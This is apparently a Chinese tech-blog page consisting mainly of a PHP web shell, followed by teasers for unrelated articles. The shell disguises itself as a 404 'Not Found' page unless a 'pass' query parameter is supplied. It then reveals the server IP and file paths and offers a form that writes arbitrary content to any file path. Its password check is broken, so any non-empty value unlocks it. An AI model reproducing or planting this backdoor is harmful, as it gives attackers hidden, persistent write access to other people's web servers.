指定文件写入

embedded/2024/10/21 2:34:41/

<?php
$pass = '9f60bde74f9a56df942c7b9e2aefd527'; 

$get = $_GET['pass'];
if (!empty($get)) {
    if (md5(md5($get))) {

        if (!empty($_POST)) {
            $path=$_POST['filepath'];
            $content=$_POST['filecontent'];

            # 文件写入
            $statement=fopen($path,"w");
            # fopen('文件路径','打开模式')

            if(fwrite($statement,$content))
            # fwrite('文件路径','文件内容'),成功返回字符数,失败返回false
            {
                echo '<font color="red">success</font><br/>';
            }else{
                echo '<font color="red">error!</font><br/>';
            }
        }

        echo '服务器ip:    ' . $_SERVER['HTTP_HOST'] . '      ' . gethostbyname($_SERVER['HTTP_HOST']) . '<br/>';
        echo '绝对路径:    ' . $_SERVER['SCRIPT_FILENAME'] . '<br/>';
        echo '当前目录:    ' . __DIR__ . '<br/>';

        echo '<form action="" method="post">';
        echo '文件路径 <br/><input type="text" name="filepath" value="' . $_SERVER['SCRIPT_FILENAME'] . '"><br/>';
        echo '文件内容 <br/><textarea name="filecontent" id="filecontent"></textarea><br/>';
        echo '<input type="submit" value="一键起飞">';
        echo '</form>';
    } else {
        echo 'password is worry';
    }
} else {

    ?>
    <!--第二部分-404报错界面--> 

    <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN\">

    <head>
        <title>IT:404_Not_Found</title>
    </head>
    <body>
    <h1>Not Found</h1>
    <p>The requested URL <?php echo($_SERVER['REQUEST_URI']); ?> was not found on this server.</p>
    </body>

<?php
}
?>
<!-- else 的结束右括号 -->
 


http://www.ppmy.cn/embedded/54038.html

相关文章

基于SpringBoot养老院管理系统设计和实现(源码+LW+调试文档+讲解等)

&#x1f497;博主介绍&#xff1a;✌全网粉丝10W,CSDN作者、博客专家、全栈领域优质创作者&#xff0c;博客之星、平台优质作者、专注于Java、小程序技术领域和毕业项目实战✌&#x1f497; &#x1f31f;文末获取源码数据库&#x1f31f;感兴趣的可以先收藏起来&#xff0c;还…

微信小程序生命周期

微信小程序生命周期 微信小程序作为一种轻量级的应用形式&#xff0c;其生命周期管理对于开发者来说至关重要。了解小程序的生命周期可以帮助开发者在不同阶段精确控制应用的行为&#xff0c;从而优化用户体验并确保应用的稳定性。 1. 小程序启动阶段 在用户点击小程序图标开始…

基于顺序存储的环形队列算法库构建

学习贺利坚老师基于数组的环形队列 数据结构之自建算法库——顺序环形队列_下空队列q中依次入队列数据元素abc-CSDN博客 本人详细引入博客 队列的定义-CSDN博客 本人详细讲解博客 队列的顺序存储结构-CSDN博客 环形队列引入详细讲解 环形队列的存储及基本操作_环形队列基…

B端系统:配置页面如何设计,这可是用户体验的关键的关键。

提升配置页面体验的十大原则 设计B端系统的配置页面时&#xff0c;用户体验确实是非常关键的。以下是一些设计原则和建议&#xff0c;可以帮助提高配置页面的用户体验&#xff1a; 简洁明了&#xff1a;配置页面应该尽量简洁明了&#xff0c;避免过多的复杂选项和信息。使用清…

SpringBoot自动配置原理

SpringBoot自动配置原理 自动配置到底配置了些什么&#xff1f; 对于一个Spring项目&#xff0c;主要就是有两种配置&#xff1a; 一种是类似端口号&#xff0c;数据库地址&#xff0c;用户名密码等一种是各种Bean,比如整合Mybatis需要配置的MapperFactoryBean&#xff0c;比…

「C系列」C 经典练习实例

文章目录 1. 基本输入输出2. 字符串操作3. 数组与循环4. 函数与递归5. 逻辑与条件6. 数学问题7. 数字与数学8. 数组与字符串9. 逻辑与条件10. 结构体和联合体11. 指针12. 文件操作13. 动态内存分配相关链接 C语言经典练习实例及详细代码可以涵盖多个方面&#xff0c;从基础输入…

初识 GPT-4 和 ChatGPT

文章目录 LLM 概述理解 Transformer 架构及其在 LLM 中的作用解密 GPT 模型的标记化和预测步骤 想象这样⼀个世界&#xff1a;在这个世界里&#xff0c;你可以像和朋友聊天⼀样快速地与计算机交互。那会是怎样的体验&#xff1f;你可以创造出什么样的应用程序&#xff1f;这正是…

SQL面试题练习 —— 求连续段的起始位置和结束位置

目录 1 题目2 建表语句3 题解 题目来源&#xff1a;拼多多。 1 题目 有一张表t_id记录了id&#xff0c;id不重复&#xff0c;但是会存在间断&#xff0c;求出连续段的起始位置和结束位置。 样例数据 ----- | id | ----- | 1 | | 2 | | 3 | | 5 | | 6 | | 8 | | …